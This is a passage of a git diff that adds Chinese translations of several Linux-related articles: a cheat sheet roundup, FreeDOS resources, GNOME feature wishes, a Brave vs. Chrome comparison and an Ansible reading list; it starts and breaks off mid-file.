https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/linux-mint-20-3-legacy-options.png?w=1313&ssl=1 +[9]: https://news.itsfoss.com/linux-mint-20-3-release-thingy/ +[10]: https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/linux-mint-20-3-thingy.png?w=769&ssl=1 +[11]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/linux-mint-20-3-app-improvements.png?w=878&ssl=1 +[12]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/linux-mint-20-3-neofetch.png?w=1004&ssl=1 +[13]: https://linuxmint.com/torrents/ +[14]: https://mirrors.edge.kernel.org/linuxmint/stable/20.3/ +[15]: https://linuxmint.com/download.php diff --git a/published/202201/20220106 Must-have open source cheat sheets for 2022.md b/published/202201/20220106 Must-have open source cheat sheets for 2022.md new file mode 100644 index 0000000000..309d0df633 --- /dev/null +++ b/published/202201/20220106 Must-have open source cheat sheets for 2022.md @@ -0,0 +1,77 @@ +[#]: subject: "Must-have open source cheat sheets for 2022" +[#]: via: "https://opensource.com/article/22/1/open-source-cheat-sheets" +[#]: author: "Jessica Cherry https://opensource.com/users/cherrybomb" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14181-1.html" + +2021 总结:必备的开源备忘单 +====== + +> 在你学习 Linux 命令行或练习新的编程语言时,请随身携带这些方便的备忘单。 + +![](https://img.linux.net.cn/data/attachment/album/202201/15/113627xxt6ldzq5hvtqvg8.jpg) + +你不可能记住每一个你需要使用的命令或快捷方式。我们都是普通人,通常情况下,我把笔记放在不同的纸片上和笔记本里。这导致我的办公桌上有些过分紊乱。到处都是一些五年前的杂乱无章的潦草文字。这这些 2021 年的备忘单将把混乱降低一个档次。从 JavaScript 到 Linux,这个列表中都有适合你的东西。 + +### 如何编写你的第一段 JavaScript 代码 + +这篇 [文章][2] 是为那些今年想尝试学习一门新语言的初来乍到者准备的。[Seth Kenlon][3] 介绍了如何安装 JavaScript 和开始制作一个简单的 HTML 页面。虽然 Seth 解释说 JavaScript 并不只用于网站,但所有主要的网页浏览器都有一个运行你的代码的 JavaScript 引擎。在整个演练过程中,Seth 涵盖了语法、变量和函数,让你开始创建一个新的应用。最后,在分享 [备忘录][4] 之前,Seth 还介绍了用 JavaScript 进行跨平台的能力。 + +### Linux 软件包管理 + +在 [Chris Hermanse][5] 的 [文章][6] 中,在他分享他的 [备忘录][7] 之前,我们对使用 `apt` 做了简要预览。许多人日常在家里和办公室使用基于 Debian 的 Linux。在这篇入门文章中,我们可以了解一下 `apt` 的用途,首先是用 `apt` 在软件包系统中寻找软件,也可以用另一个命令查看这些软件包的元数据。接下来,Chris 介绍了查看一个软件包是否包括安装过程中需要的文件(软件包依赖)。最后,Chris 介绍了如何用 `apt` 命令删除软件包。这份详尽的备忘录可以给你带来比 Linux 的日常软件包管理更多的东西。如果 `apt` 不适合你,你也可以看看 `dnf` [备忘录][8]。 + +### 用 DOS conio 开始编程 + +你是否想在明年涉足 DOS?如果是的话,你已经准备好创建令人兴奋的新应用,[Jim Hall][9] 为你准备了一份 [备忘录][10]。在这篇 [文章][11] 中定义了 `conio`,在分享备忘录之前,Jim 介绍了如何制作你自己的彩色文本用户界面。Jim 解释说,你可以用你的应用做更多的事情,使其更具互动性和刺激性。现在你有了这个备忘录,你就可以用 DOS `conio` 创建你自己的应用了。 + +### 学习 SQLite3 + +与这种常见的数据库一起工作?下面是你如何通过这个 [备忘录][12] 成为一个资深用户。在这个 [实践教程][13] 中,[Klaatu][14] 从安装和与 SQLite3 互动开始,然后在分享备忘录之前创建了一个带表的数据库。Klaatu 还用一段很简单的文字解释了数据类型和日期时间戳功能。Klaatu 在本教程中增加了更多详细的功能,包括查看表格、改变表格等等。如果你想继续使用 SQLite3 数据库并使其变得强大,或者只是想学习如何使用它,这个备忘录就适合你。 + +### 更多的 Linux 备忘录 + +虽然我只是蜻蜓点水地提及了这些备忘单,但我想提到一些值得称赞的地方,其中包括 [Seth Kenlon][3] 的 Linux 备忘单: + + * Seth 对 [grep][15] 的高级用法对各种场合都很有用。 + * [find][16] 命令备忘录对于我不想花大量时间在目录中徘徊的时候特别有帮助。 + * [wget][17] 备忘录对于那些你需要从互联网上获取东西的时候是很方便的。 + +### 以回顾 2021 年开始 2022 年 + +2021 年是备忘录的辉煌之年,其中许多是关于 Linux 的,但也有一些备忘录甚至让你从一种全新的语言开始。我强烈建议你打印出这些备忘录,在 2022 年开始学习新东西。我们欢迎各种经验水平的作者,请通过 [给我们发送文章或备忘录][18] 告诉我们你是如何学习新技能的。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/open-source-cheat-sheets + +作者:[Jessica Cherry][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/cherrybomb +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/brain_computer_solve_fix_tool.png?itok=okq8joti (Brain on a computer screen) +[2]: https://opensource.com/article/21/7/javascript-cheat-sheet +[3]: https://opensource.com/users/seth +[4]: https://opensource.com/downloads/javascript-cheat-sheet +[5]: https://opensource.com/users/clhermansen +[6]: https://opensource.com/article/21/6/apt-linux +[7]: https://opensource.com/downloads/apt-cheat-sheet +[8]: https://opensource.com/downloads/dnf-cheat-sheet +[9]: https://opensource.com/users/jim-hall +[10]: https://opensource.com/downloads/dos-conio-cheat-sheet +[11]: https://opensource.com/article/21/9/programming-dos-conio +[12]: https://opensource.com/downloads/sqlite-cheat-sheet +[13]: https://opensource.com/article/21/2/sqlite3-cheat-sheet +[14]: https://opensource.com/users/klaatu +[15]: https://opensource.com/downloads/grep-cheat-sheet +[16]: https://opensource.com/downloads/linux-find-cheat-sheet +[17]: https://opensource.com/downloads/linux-wget-cheat-sheet +[18]: https://opensource.com/how-submit-article diff --git a/published/202201/20220107 Try FreeDOS in 2022.md b/published/202201/20220107 Try FreeDOS in 2022.md new file mode 100644 index 0000000000..bc732dce25 --- /dev/null +++ b/published/202201/20220107 Try FreeDOS in 2022.md @@ -0,0 +1,86 @@ +[#]: subject: "Try FreeDOS in 2022" +[#]: via: "https://opensource.com/article/22/1/try-freedos" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14204-1.html" + +2021 总结:尝试 FreeDOS +====== + +> 为这个自由操作系统的新用户和老用户提供 15 种资源。 + +![](https://img.linux.net.cn/data/attachment/album/202201/22/112846m55u0f3u5rh6i6e3.jpg) + +在整个上世纪 80 年代和 90 年代,DOS 是桌面之王。世界各地的程序员不满足于 DOS 的专有版本,他们共同创建了一个名为 FreeDOS 的开源版本,该版本于 1994 年首次推出。[FreeDOS 项目][2] 在 2021 年及以后还在继续发展。 + +我们发表了几篇关于 FreeDOS 的文章,以帮助新用户开始使用 FreeDOS 和学习新程序。以下是去年我们最受欢迎的几篇 FreeDOS 文章。 + +### 初学 FreeDOS + +你是 FreeDOS 的新手吗?如果你想了解如何启动和运行 FreeDOS 的基本知识,请查看这些文章: + + * [开始使用 FreeDOS][3]:它看起来像复古计算时代,但 FreeDOS 是一个现代的操作系统,你可以用它来完成事情。 + * [FreeDOS 如何启动][4]:了解你的计算机是如何引导和启动 FreeDOS 的,从开机到命令行提示符。 + * [用纯文本配置 FreeDOS][5]:学习如何用 `fdconfig.sys` 文件来配置 FreeDOS。 + * [如何用 CD 和 DIR 浏览 FreeDOS][6]:只需掌握两个命令,`DIR` 和 `CD`,你就可以在命令行中浏览你的 FreeDOS 系统。 + * [在 FreeDOS 中设置和使用环境变量][7]:环境变量在几乎所有的命令行环境中都有用,包括 FreeDOS。 + +### Linux 用户的 FreeDOS + +如果你已经熟悉了 Linux 的命令行,你可能想试试这些在 FreeDOS 上创造类似环境的命令和程序: + + * [给 Linux 爱好者的 FreeDOS 命令][8]:如果你已经熟悉了 Linux 的命令行,可以试试这些命令来帮助你轻松进入 FreeDOS。 + * [在 FreeDOS 中像 Emacs 一样编辑文本][9]:如果你已经熟悉了 GNU Emacs,你应该在 Freemacs 中感到很自在。 + * [在 Linux 和 FreeDOS 之间复制文件][10]:学习如何在 FreeDOS 虚拟机和 Linux 桌面系统之间传输文件。 + * [如何在 FreeDOS 上归档文件][11]:这是 FreeDOS 版本的 `tar`,在 DOS 上归档的标准方法是 Zip 和 Unzip。 + * [在 FreeDOS 上使用这个怀旧的文本编辑器][12]:让人联想到 Linux ed(1),当你想用老式的方法编辑文本时,Edlin 是一种乐趣。 + +### 使用 FreeDOS + +当你启动进入 FreeDOS,你可以使用这些很棒的工具和应用来完成工作或安装其他软件: + + * [如何使用 FreeDOS 的文本编辑器][13]:FreeDOS 提供了一个用户友好的文本编辑器,叫做 FreeDOS Edit。 + * [在 FreeDOS 上听音乐][14]:Mplayer 是一个开源的媒体播放器,通常可以在 Linux、Windows、Mac 和 DOS 上找到。 + * [在 FreeDOS 上安装和删除软件包][15]:了解如何使用 FDIMPLES,即 FreeDOS 包管理器,在你的 FreeDOS 系统上安装和删除软件包。 + * [为什么我喜欢用 GW-BASIC 在 FreeDOS 上编程][16]:BASIC 是我进入计算机编程的起点。我已经很多年没有写过 BASIC 代码了,但我对 BASIC 和 GW-BASIC 永远怀有好感。 + * [用 Bywater BASIC 在 FreeDOS 上编程][17]:在你的 FreeDOS 系统上安装 Bywater BASIC,并开始尝试使用 BASIC 编程。 + +在其近 30 年的历程中,FreeDOS 一直试图成为一个现代 DOS。如果你想了解更多,你可以在 [FreeDOS 简史][18] 中阅读关于 FreeDOS 的起源和发展。另外,请看 Don Watkins 关于 FreeDOS 的采访:[一个大学生是如何创立一个自由和开源的操作系统][19]。 + +如果你想尝试 FreeDOS,请下载 2021 年 12 月发布的 FreeDOS 1.3 RC5。这个版本有大量的新变化和改进,包括更新的内核和命令 shell,新的程序和游戏,更好的国际支持,以及网络支持。从 [FreeDOS 网站][2]下载 FreeDOS 1.3 RC5。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/try-freedos + +作者:[Jim Hall][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/puzzle_computer_solve_fix_tool.png?itok=U0pH1uwj (Puzzle pieces coming together to form a computer screen) +[2]: https://www.freedos.org/ +[3]: https://linux.cn/article-13492-1.html +[4]: https://linux.cn/article-13503-1.html +[5]: https://linux.cn/article-14061-1.html +[6]: https://opensource.com/article/21/6/navigate-freedos-cd-dir +[7]: https://linux.cn/article-13995-1.html +[8]: https://linux.cn/article-14092-1.html +[9]: https://opensource.com/article/21/6/freemacs +[10]: https://linux.cn/article-13548-1.html +[11]: https://linux.cn/article-13567-1.html +[12]: https://opensource.com/article/21/6/edlin-freedos +[13]: https://opensource.com/article/21/6/freedos-text-editor +[14]: https://opensource.com/article/21/6/listen-music-freedos +[15]: https://linux.cn/article-14031-1.html +[16]: https://opensource.com/article/21/6/freedos-gw-basic +[17]: https://opensource.com/article/21/6/freedos-bywater-basic +[18]: https://linux.cn/article-13601-1.html +[19]: https://opensource.com/article/21/6/freedos-founder diff --git a/published/202201/20220108 5 Tiny Yet Useful Features I Would Like to See in GNOME in 2022.md b/published/202201/20220108 5 Tiny Yet Useful Features I Would Like to See in GNOME in 2022.md new file mode 100644 index 0000000000..5c4fd4a032 --- /dev/null +++ b/published/202201/20220108 5 Tiny Yet Useful Features I Would Like to See in GNOME in 2022.md @@ -0,0 +1,119 @@ +[#]: subject: "5 Tiny Yet Useful Features I Would Like to See in GNOME in 2022" +[#]: via: "https://news.itsfoss.com/gnome-features-i-want/" +[#]: author: "Abhishek https://news.itsfoss.com/author/root/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14168-1.html" + +我希望在 GNOME 中看到的 5 个微小而有用的功能 +====== + +> 我知道对于圣诞愿望清单来说已经太晚了,但我仍然想分享我希望在 GNOME 中看到的东西。 + +![](https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/gnome-wallpaper.png?w=1200&ssl=1) + +GNOME 是许多 Linux 发行版的默认桌面环境。它也是我最喜欢的一个,因为它提供了一种现代的桌面体验。 + +但这并不意味着 GNOME 是完美的,不需要改进。事实上,这里有几个建议可以改善整个用户体验。 + +### 1、方便的应用程序卸载选项 + +桌面 Linux 是碎片化的。为了增加混乱,连软件包也是零零散散的。而最糟糕的是当你从系统中删除一个应用程序时。 + +举个例子,你要通过 DEB 包安装一个应用程序,并使用 GNOME 软件中心界面来安装它。 + +但如果你不喜欢这个应用程序,想把它删除呢? + +你不会在软件中心中找到该应用程序。相反,你得必须使用命令行的方法。 + +这还没完。还有 Snap 和 [Flatpak][1] 软件包。如果你已经使用了其中之一,你必须先找出来,然后使用正确的命令才行。 + +GNOME 采用了类似于 Android/iOS 的方法,将应用程序显示在一个网格中,并将它们组织在文件夹中。移动操作系统为用户提供了一种方式,即按住图标并删除应用程序。如果能有一个类似的选项,右键点击应用程序图标并选择卸载,那就更好了。 + +![][2] + +这样,终端用户就不用管所安装的应用程序是 Deb 包还是 Snap 包。没有必要为此进入终端,而且它就发生在访问应用程序地方,这不是挺好吗? + +Linux Mint Cinnamon 版有这样的功能,你在菜单中右键点击一个应用程序条目,选择删除它。 + +![Linux Mint Cinnamon 中可以使用右键删除选项][3] + +如果 Cinnamon 能做到,GNOME 应该也能做到,对吗? + +### 2、在应用程序商店中设置默认软件源 + +如果一个应用程序有多种格式,GNOME 软件中心可以让你选择软件源。至少这是我在 Fedora 的 GNOME 软件中看到的,但在 Ubuntu 中没有。 + +![][4] + +假设有人在软件中心同时添加了 Flatpak 和 Snap 支持,而一个应用程序在 Flatpak、Snap 和软件包管理器(apt、DNF 等)中都可用,它可能会在搜索结果中显示多次。 + +如果能够设置一个默认的打包格式,使其优先于其他格式,那就更好了。如果你把 Flatpak 作为默认,它就不会显示 Snap 版本,默认只安装 Flatpak 版本。 + +### 3、跨系统同步安装的应用程序 + +这一点可能取决于发行版情况,从技术和策略的角度看都比较复杂。 + +安卓、iOS、macOS 和 Windows 都有这个功能,这样可以更容易开始使用新设备或重置的同一设备。你从他们的官方应用程序商店安装的应用程序与你的个人资料相关联。你重新安装/重置操作系统,或者在一个新系统上,登录应用程序商店,它就会显示你以前使用过的应用程序。 + +在 Linux 上,如果你由于某种原因重新安装系统,你就会失去你所安装的应用程序。当然,你可以重新安装它们,但你也必须回忆起你以前安装的应用程序。 + +我记得 Ubuntu 曾经有个 Ubuntu One 云,我以为他们会推出这个功能,但他们关闭了这个云服务。然而,Ubuntu One 仍然活着,并被用作 SSO 登录。事实上,你可以在 Ubuntu 软件中心看到 Ubuntu One 的登录选项,但它并没有做任何事情。 + +![Ubuntu 软件中心的登录选项][5] + +知道你之前从 GNOME 软件中心安装了哪些软件,将使电脑的格式化和在电脑之间的移动更加容易。你不觉得吗? + +当然,许多 Linux 用户不一定依靠软件中心来获取应用程序,但这对一些人来说可能是一个有用的功能。 + +### 4、面部解锁和/或指纹登录 + +我喜欢用密码登录并解锁 Windows 的方式。是的,我偶尔会使用 Windows。不,不是用来玩游戏,而是用超高清观看流媒体内容。过去几周我用得比较频繁,因为我在另一个城市,我必须依靠我的笔记本电脑来观看 4K 的 Netflix,而不是使用我的电视。 + +输入整个 8 到 10 个字符的长密码,加上特殊字符,总觉得是件麻烦事。值得庆幸的是,我的笔记本电脑有一个指纹识别器,但不是每个人都有这种奢侈。 + +对于许多已经习惯于在移动设备上使用这些方法的用户来说,使用指纹或面部来解锁设备可能会很好。 + +已经有一些项目允许你在 Linux 上使用面部解锁,GNOME 确实可以考虑将其加入到其产品中。 + +### 5、带回“添加新文档”选项 + +几年前,GNOME 删除了从右键菜单中创建一个新文档的功能。 + +现在仍然可以实现这个功能。你必须先在你的主目录的 Templates 文件夹中创建一个模板文档。然后所有的模板文档都可以在右键菜单中找到。 + +![][6] + +但这本应是一个默认功能。人们不应该胡乱摆弄而试图找出“创建新文档”选项的去处。 + +现在是时候让 GNOME 恢复这个功能了。 + +### 你希望在 GNOME 中看到什么功能? + +由于我主要使用 Ubuntu,它的定制 GNOME 与原生 GNOME 不同。原生 GNOME 也应该把小程序指示器带回来,这样像 Dropbox 等应用程序就可以快速访问。 + +GNOME 开发者不太可能关注像我们这样的普通 Linux 用户的想法,但我还是要问问你怎么看。 + +你希望在 GNOME 或桌面 Linux 中看到什么新功能?你也可以分享一些你最喜欢的、已经从 GNOME 中删除的,但你希望它们能重新出现的功能。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/gnome-features-i-want/ + +作者:[Abhishek][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/root/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/what-is-flatpak/ +[2]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/Remove-application-option-gnome.png?w=800&ssl=1 +[3]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/08/removing-google-chrome-from-mint.webp?resize=799%2C562&ssl=1 +[4]: https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/choosing-software-source-gnome.png?resize=1568%2C1007&ssl=1 +[5]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/sign-in-ubuntu-software-center.png?resize=1568%2C836&ssl=1 +[6]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/templates-in-ubuntu.png?resize=800%2C479&ssl=1 \ No newline at end of file diff --git a/published/202201/20220108 Brave vs. Google Chrome- Which is the better browser for you.md b/published/202201/20220108 Brave vs. Google Chrome- Which is the better browser for you.md new file mode 100644 index 0000000000..f33d85cac2 --- /dev/null +++ b/published/202201/20220108 Brave vs. Google Chrome- Which is the better browser for you.md @@ -0,0 +1,177 @@ +[#]: subject: "Brave vs. Google Chrome: Which is the better browser for you?" +[#]: via: "https://itsfoss.com/brave-vs-chrome/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14213-1.html" + +Brave vs. Google Chrome:哪个浏览器更适合你? +====== + +![](https://img.linux.net.cn/data/attachment/album/202201/25/163210d15a580twwpwyzmw.jpg) + +Google Chrome 无疑是 [可用于 Linux 的最佳网页浏览器][1] 之一。无论你在什么平台上使用它,它都提供了用户体验和功能集的良好融合。 + +另一方面,Brave 作为跨平台可用的、以隐私为中心的开源选项而广受欢迎。 + +那么,你应该选择哪一个作为首选网页浏览器呢?Chrome 适合你吗?谁应该使用 Brave? + +在这里,我们比较了两种浏览器的所有重要方面(包括基准测试),以帮助你做出决定。 + +### 用户界面 + +![][2] + +[Google Chrome][3] 用户界面干净、开箱即用,没有不必要的干扰。 + +根据我的经验,默认情况下,它与 Linux 上的(GTK)系统主题融为一体。因此,根据你的自定义设置,它可能看起来有点不同。 + +![][4] + +如果你不在 Linux 上使用它,那么除了配色方案外,其他所有界面都基本相似。 + +而对于 [Brave][5],它并不能开箱即用地适应你的系统配色方案。但是,你可以在它的外观设置里启用 GTK 主题。 + +Brave 与 Chrome 的用户界面接近,但有一些独有的调整/选项。 + +![][6] + +就用户界面而言,两者都不错,都很容易使用。 + +但是,Brave 提供了一些自定义外观的附加选项,例如删除选项卡搜索按钮(左侧到最小化按钮)、显示完整的 URL 等。 + +![][7] + +如果你觉得这对你有用,Brave 就更适合你。使用 Google Chrome,你在 UI 定制方面没有太多控制权。 + +### 开源与专有 + +![][8] + +Brave 是一个基于 Chromium 的开源网页浏览器。顺便说一句,我们还有一份 [不基于 Chromium 的开源浏览器][9] 的列表。 + +Google Chrome 也基于 Chromium,但它添加了几个专有元素,使其成为一个闭源产品。 + +虽然你可以期待 Brave 的开源和透明度带来的好处,但考虑到 Google 有专门的安全团队,他们在修补问题时可以非常快。 + +对于普通用户来说,这些都是不太关注的地方。但是,如果你更在意开源和具有透明度的软件,那么 Brave 应该是首选。另一方面,如果你不在意是否是专有代码,并且信任 Google 的产品,那么 Google Chrome 是一个选择。 + +如果你想要一个与 Chrome 具有相似 UI 的开源浏览器,你可能想要看看我们对 [Chrome 和 Chromium][10] 的比较来选择一个。 + +### 功能差异 + +你应该会发现两个浏览器的所有基本功能都是相似的。 + +但是,两者之间存在一些显著差异。 + +如上所述,你会注意到自定义外观的能力存在差异。 + +在多个设备之间同步浏览器数据的能力也存在很大差异。 + +![][11] + +使用 Google Chrome,你可以快速登录你的 Google 账户并将所有内容同步到你的手机和其他设备。 + +Brave 也可以让你同步,但对某些人来说可能不方便。你需要访问你已经使用 Brave 成功同步的设备之一。 + +你的同步数据并未存储在云中。因此,你必须使用二维码或密码授权将浏览数据传输/同步到另一台设备。 + +![][12] + +因此,你必须导出书签和其他相关数据以进行外部备份。 + +值得庆幸的是,如果你既想要方便的同步,也想要开源浏览器,还有另一种选择。看看我们的 [Firefox 和 Brave 比较][13] 文章,了解为什么这对你来说是一个不错的选择。 + +除了这些差异之外,Brave 还支持 [IPFS 协议][14],这是一种旨在对抗审查的点对点安全协议。 + +也不要忘记,Brave 默认带有 [Brave Search][15] 作为其搜索引擎。所以,如果你更喜欢它而不是将谷歌作为 [私人搜索引擎][16],那也是一件好事。 + +Brave Rewards 也是一个有趣的附加功能,你可以通过启用 Brave 的隐私友好型广告获得奖励,并将其回馈给你经常访问的网站。 + +如果云存储服务或任何在线平台阻止了这些,你可以将使用它的资源直接共享给接收者。 + +总的来说,Brave 提供了许多有趣的东西。但是,Chrome 浏览器是一个更简单的选择,对许多人来说是一个方便的选择。 + +### 隐私角度 + +Brave 的跟踪保护应该有利于注重隐私的人。你可以使用 Shield 功能阻止广告和跟踪器。除此之外,如果你想要更积极阻止广告(这可能会破坏网站显示和功能),还有几个可切换使用的过滤器。 + +Chrome 浏览器不提供此功能。但是,你总可以使用一些以隐私为重点的 Chrome 扩展程序,而 Google 的安全浏览功能应该可以保护你免受恶意网站的侵害。 + +一般来说,如果你不访问黑幕网站,应该可以使用 Chrome 浏览器。而如果你关注隐私,Brave 可能是更好的选择。 + +### 表现 + +虽然 Brave 通常被认为是最快的,但在我的基准测试中似乎并非如此。这真令人吃惊! + +但是,对于大多数人来说,实际的差异应该不明显。 + +![][17] + +我使用了流行的基准测试:[JetStream 2][18]、[Speedometer 2.0][19] 和 [Basemark Web 3.0][20]。 + +请注意,我使用的 Linux 发行版是 **Pop!_OS 21.10**,测试的浏览器版本是 **Chrome 97.0.4692.71** 和 **Brave 97.0.4692.71**。 + +当然,除了浏览器之外,我没有在后台运行任何东西。我的 PC 是由 **Intel i5-11600k @4.7 GHz、32 GB 3200 MHz RAM 和 1050ti Nvidia Graphics** 驱动的。 + +### 安装 + +![][21] + +Chrome 浏览器提供的 DEB/RPM 软件包以在 Ubuntu、Debian、Fedora 或 openSUSE 上下载和安装。 + +Brave 也支持相同的 Linux 发行版,但你必须使用终端,并按照下载页面中提到的命令进行安装。 + +![][22] + +你可以按照我们的安装指南 [在 Fedora 中安装 Brave][23]。 + +它们都不能通过软件中心安装。此外,你也找不到任何 [Flatpak 包][24] 或 Snap 包。 + +如果你想要直接从软件中心安装,或找到一个 flatpak 包或 Snap 包,Firefox 可以满足你的需求。 + +### 你应该选择什么? + +如果你想要更多自定义和高级功能,Brave 应该是一个令人印象深刻的选择。但是,如果你对在 Linux 发行版上使用专有浏览器没有问题,并且想要稍微更好的性能,那么 Google Chrome 是一个可行的选择。 + +对于注重隐私的用户来说,答案是显而易见的。但是,你必须考虑同步的便利性。因此,如果你对自己到底最在意什么感到困惑,我建议你先评估你的要求并决定你想要什么。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/brave-vs-chrome/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/best-browsers-ubuntu-linux/ +[2]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2022/01/chrome-brave-ui.png?resize=800%2C435&ssl=1 +[3]: https://www.google.com/chrome/index.html +[4]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2022/01/google-chrome-ui.png?resize=800%2C479&ssl=1 +[5]: https://brave.com +[6]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2022/01/brave-browser-ui.png?resize=800%2C479&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/brave-appearance-options.png?resize=800%2C563&ssl=1 +[8]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/open-source-proprietary.png?resize=800%2C450&ssl=1 +[9]: https://itsfoss.com/open-source-browsers-linux/ +[10]: https://itsfoss.com/chrome-vs-chromium/ +[11]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2022/01/google-chrome-sync.png?resize=800%2C555&ssl=1 +[12]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/07/brave-sync.png?resize=800%2C383&ssl=1 +[13]: https://itsfoss.com/brave-vs-firefox/ +[14]: https://ipfs.io +[15]: https://itsfoss.com/brave-search-features/ +[16]: https://itsfoss.com/privacy-search-engines/ +[17]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2022/01/chrome-brave-benchmarks.png?resize=800%2C450&ssl=1 +[18]: https://webkit.org/blog/8685/introducing-the-jetstream-2-benchmark-suite/ +[19]: https://webkit.org/blog/8063/speedometer-2-0-a-benchmark-for-modern-web-app-responsiveness/ +[20]: https://web.basemark.com +[21]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2022/01/google-chrome-package.png?resize=800%2C561&ssl=1 +[22]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2022/01/brave-install-linux.png?resize=800%2C325&ssl=1 +[23]: https://itsfoss.com/install-brave-browser-fedora/ +[24]: https://itsfoss.com/what-is-flatpak/ diff --git a/published/202201/20220109 9 ways to learn Ansible this year.md b/published/202201/20220109 9 ways to learn Ansible this year.md new file mode 100644 index 0000000000..14db687e7b --- /dev/null +++ b/published/202201/20220109 9 ways to learn Ansible this year.md @@ -0,0 +1,53 @@ +[#]: subject: "9 ways to learn Ansible this year" +[#]: via: "https://opensource.com/article/22/1/learn-ansible" +[#]: author: "Sumantro Mukherjee https://opensource.com/users/sumantro" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14184-1.html" + +2021 总结:学习 Ansible 的 9 种方法 +====== + +> Ansible 是一个开源的自动化工具,可以以多种方式使用。以下是几个去年最受欢迎的 Ansible 教程和故事。 + +![](https://img.linux.net.cn/data/attachment/album/202201/16/083241cliohvo1ii1nutig.jpg) + +自动化不断改善着 IT 团队中每个人的生活。Ansible 可以帮助任何使用 IT 自动化的人,不管是为了保持文件的有序性还是配置打印机,或者是为了任何其他可以想象和构建的东西。这些是 2021 年我们分享的一些最引人注目的使用案例和经验。 + +无论你是第一次听说 Ansible,还是一个经验丰富的用户,这些文章都会有你的收获。 + + * Ansible 的创始人 Michael DeHaan 分享了他对自己如何被引向 IT 自动化的想法。这篇访谈对 [Ansible 是如何诞生的][2] 以及随着时间的推移而发展的信息和见解都非常好。 + * 当你作为一个系统管理员可以将许多日常任务自动化时,自动化可以节省一天的时间。了解如何使用 Ansible 为 [五个日常的系统管理员任务][3] 实现自动化流程。 + * 你的下载文件夹中充满了垃圾吗?介绍一个简单的方法,用一个简单的剧本来清理你系统上的文件。它很容易扩展,计划好后,就会按照你的要求频繁运行。了解更多关于 [用 Ansible 删除文件][4]。 + * 如果你正在 [写 Ansible 剧本][5],可以用四行代码改善它们。想想下一个用户,特别是当你在一个项目上合作的时候。一个小的努力可以防止大的问题。 + * Ansible 社区已经采取了措施,通过审查其代码库和更新语言,使该项目更具包容性。请看 [Ansible 术语变化][6] 的总结。 + * 从你的 Ansible 剧本中调用 API,就像一个专业人员一样!找出每个人都应该知道的关于 [利用剧本中的 REST API][7]。 + * 有一些应该每天、每周或每月运行的计划任务?使用 [Ansible 和 anacron][8] 来设置任务,利用时间戳而不是计划时间,所以即使你的机器在计划时间关闭,它也会在重新开启时运行。 + * 如果你刚刚开始使用 Ansible,也许你需要一些方向来开始。这里有 [每个人都可以使用 Ansible 的 10 种方法][9]。 + * 当社区一起工作时,奇迹就会发生。这不仅仅是代码:了解 [Ansible 如何构建设计系统][10],创建可重用的品牌资产以供社区使用。如果你是设计师或社区经理,你会特别欣赏这个故事。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/learn-ansible + +作者:[Sumantro Mukherjee][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 